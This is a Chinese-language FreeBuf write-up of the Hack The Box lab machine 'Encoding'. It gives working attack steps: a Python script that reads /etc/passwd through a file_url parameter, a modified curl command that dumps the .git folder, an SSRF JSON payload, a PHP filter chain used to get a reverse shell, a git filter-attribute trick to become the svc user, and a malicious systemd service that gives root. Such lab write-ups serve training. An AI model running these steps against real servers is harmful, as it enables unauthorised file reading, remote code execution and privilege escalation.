freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

靶场笔记-HTB Encoding
Timerings 2023-02-17 15:55:57 235667
所属地 浙江省

一、常规端口扫描

image
开放了22和80端口

二、web渗透

  • 访问web的api页面发现了一个子域名,先留着备用
    image
  • 对其进行目录扫描,没发现有用的信息
sudo feroxbuster -u http://haxtables.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

image

  • 指定文件扫描,发现handler.php可访问
    image
  • 子域名爆破,发现了api和403的image子域名
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://haxtables.htb -H "Host:FUZZ.haxtables.htb" --hw 137

image

  • 继续查看API页面,发现给了很多转换编码的代码示例,其中找到了一个"file_url"参数,这就可以试试file协议了,但是这个脚本返回的是一个编码后的数据,想要得到原始数据还需要进行解码
    image
    image
  • 改善后的py脚本内容如下:
import requests
import json

json_data = {
    'action': 'str2hex',
        'file_url' : 'file:///etc/passwd'
}

response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
data = json.loads(response.text)
hex_string = data["data"]
bytes_object = bytes.fromhex(hex_string)
string = bytes_object.decode()
print(string)

运行后成功拿到/etc/passwd数据
image

  • 能利用file协议读取文件,那就先读取一下刚才扫描到的image子域的源码,因为是Apache所以位置为:/var/www/image/index.php
    image
    发现image/index.php包含了utils.php,继续读取这个utils源码看看,内容如下
┌──(kali㉿kali)-[~/wallthrough/encoding]
└─$ sudo python hax.py
<?php

// Global functions

function jsonify($body, $code = null)
{
    if ($code) {
        http_response_code($code);
    }

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($body);

    exit;
}

function get_url_content($url)
{
    $domain = parse_url($url, PHP_URL_HOST);
    if (gethostbyname($domain) === "127.0.0.1") {
        echo jsonify(["message" => "Unacceptable URL"]);
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    $url_content =  curl_exec($ch);
    curl_close($ch);
    return $url_content;

}

function git_status()
{
    $status = shell_exec('cd /var/www/image && /usr/bin/git status');
    return $status;
}

function git_log($file)
{
    $log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
    return $log;
}

function git_commit()
{
    $commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
    return $commit;
}
?>

观察到这个php使用了git工具,那就意味着这个文件夹下大概率存在.git文件夹,于是修改脚本进行测试,位置为/var/www/image/.git/config'
image
结果显示确实存在.git文件夹

  • 使用gittools中的gitdump.sh进行下载这个目录的文件分析,但是下载时都出错了
    脚本地址:GitTools/gitdumper.sh at master · internetwache/GitTools · GitHub
    image
    这里忽略了这个脚本的下载方式要改一下,因为是image是403,所以还要以file协议的方式进行下载,修改代码如下,在download file位置修改:
curl -X POST -H 'Content-Type: application/json' --data-binary "{\"action\": \"str2hex\", \"file_url\": \"file:///var/www/image/.git/$objname\"}" 'http://api.haxtables.htb/v3/tools/string/index.php' | jq .data | xxd -r -p > "$target"

image

  • 把.git文件夹下载到本地后,可以使用git ls-files --stage查看文件列表
    image
    git cat-file -p查看一下文件内容,看到多出一个action_handler.php,这个文件主要作用是判断是否存在get page参数
    image
  • 这个文件名为action_handler.php,想到刚才扫描中也有个handler.php文件,于是下载源码也分析一波,这段代码主要是用来判断是否存在'action','data_file'和'uri_path'参数的,如果json格式的参数为空或者不存在则返回'Insufficient parameters!',如果存在则调用make_api_call函数,猜测这个函数应该是向api发送请求的。重点来了,这段代码完全没对json参数进行过滤,也就意味着我们可以传入uri_path的恶意参数进行SSRF攻击
<?php
include_once '../api/utils.php';

if (isset($_FILES['data_file'])) {
    $is_file = true;
    $action = $_POST['action'];
    $uri_path = $_POST['uri_path'];
    $data = $_FILES['data_file']['tmp_name'];

} else {
    $is_file = false;
    $jsondata = json_decode(file_get_contents('php://input'), true);
    $action = $jsondata['action'];
    $data = $jsondata['data'];
    $uri_path = $jsondata['uri_path'];



    if ( empty($jsondata) || !array_key_exists('action', $jsondata) || !array_key_exists('uri_path', $jsondata)) 
    {
        echo jsonify(['message' => 'Insufficient parameters!']);
        // echo jsonify(['message' => file_get_contents('php://input')]);

    }

}

$response = make_api_call($action, $data, $uri_path, $is_file);
echo $response;

?>
  • 为了方便,直接使用burpsuite进行改包操作,json参数为:
{
    "action": "str2hex",
    "data":"asdafaf", 
    "uri_path": "abc@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"
}

返回成功
image

  • 根据之前的操作说明这个参数我们完全可控,那么就可以尝试利用PHP filters chain技术获取shell
    地址:GitHub - synacktiv/php_filter_chain_generator
    先生成利用链
    image
    通过burp传参,要注意参数格式为/&a=生成的revshell&
    image
  • 成功拿到shell,找到立足点
    image

三、提权至用户

  • 常规执行sudo -l命令,发现可以执行/var/www/image/scripts/git-commit.sh,通过这个可以尝试提权到svc账户
    image
  • 进入/var/www/image/scripts/,查看git-commit.sh发现这是一个用来管理Git仓库文件的脚本
#!/bin/bash

u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-fi
les  -o --exclude-standard)

if [[ $u ]]; then
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image a
dd -A
else
        /usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image c
ommit -m "Commited from API!" --author="james <james@haxtables.htb>"  --no-verif
y
fi
  • 经过一番分析,可以用以下命令来反弹一个具有用户权限的shell,因为一般tmp目录都具有写入权限,所以把执行反弹shell的脚本放在tmp目录下
git init
echo '*.php filter=indent' > .git/info/attributes
git config filter.indent.clean /tmp/shell.sh
sudo -u svc /var/www/image/scripts/git-commit.sh
  • 执行上面的命令成功得到一个shell
    image
  • 成功获取第一个flag
    image

四、提权至root

  • 得到用户权限的shell后,还是常规查看一下sudo -l,发现了可以以root权限重启系统服务
    image
  • 自己先新建一个系统服务,内容如下,这里就直接用刚才反弹用户shell的那个脚本反弹一次root权限的shell,也可以直接修改/bin/bash权限:
echo '[Service]
Type=oneshot
ExecStart=/tmp/shell.sh
[Install]
WantedBy=multi-user.target' > /etc/systemd/system/root1.service

然后运行:

sudo systemctl restart root1

成功获取root权限的shell
image

  • 获取rootflag
    image
# 渗透测试 # 网络安全 # web安全 # 内网渗透
本文为 Timerings 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Hack The Box
Timerings LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 5 关注者
靶场笔记-HTB Busqueda
2023-04-10
靶场笔记-Vulnhub Prime
2023-02-17
靶场笔记-HTB Broscience
2023-02-17